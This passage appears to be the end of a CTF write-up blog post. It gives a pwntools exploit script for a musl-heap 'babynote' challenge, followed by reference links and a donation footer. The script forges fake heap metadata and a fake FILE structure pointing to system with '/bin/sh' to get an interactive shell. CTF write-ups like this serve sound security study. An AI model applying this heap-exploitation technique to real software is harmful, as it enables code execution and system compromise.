fake_meta += p64(0)+p64(0)+p64(fakemeta_addr+0x30)+p64(0x0)+p64(0x3c0)+p64(0) #fakemeta2


#prepare fake chunk and fake sotor
add(b'g'*0x28,b'g'*0x28)
add(b'h'*0x28,b'h'*0x28)

fakebabynote = p64( 0x29fdd0 +libcbase)+p64(fakemeta_addr+0x50)+p64(1)+p64(0x28)+p64(0)
add(b'i',fakebabynote)
free(b'g'*0x28)
gdb.attach(r)
add(p64(0x29bd00+libcbase)*2+p64(0x8)+p64(0x8)+p64(libcbase+0x29bd90),fake_meta.ljust(0x2000,b'\x00'))
free(b'b')


pause()
fake_stdfile =b'/bin/sh\x00'+p64(0)*6+p64(1)*2+p64(system)*2
fake_stdfile = fake_stdfile.ljust(0x50,b'\x00')
add(b'i',fake_stdfile)
pause()
ch(5)
pause()
r.interactive()

# 参考链接

https://www.anquanke.com/post/id/241101

https://blog.csdn.net/kali_Ma/article/details/122970885?ops_request_misc=%7B%22request%5Fid%22%3A%22165044409316780265474836%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=165044409316780265474836&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-1-122970885.142v9control,157v4control&utm_term=musl+%E5%A0%86%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal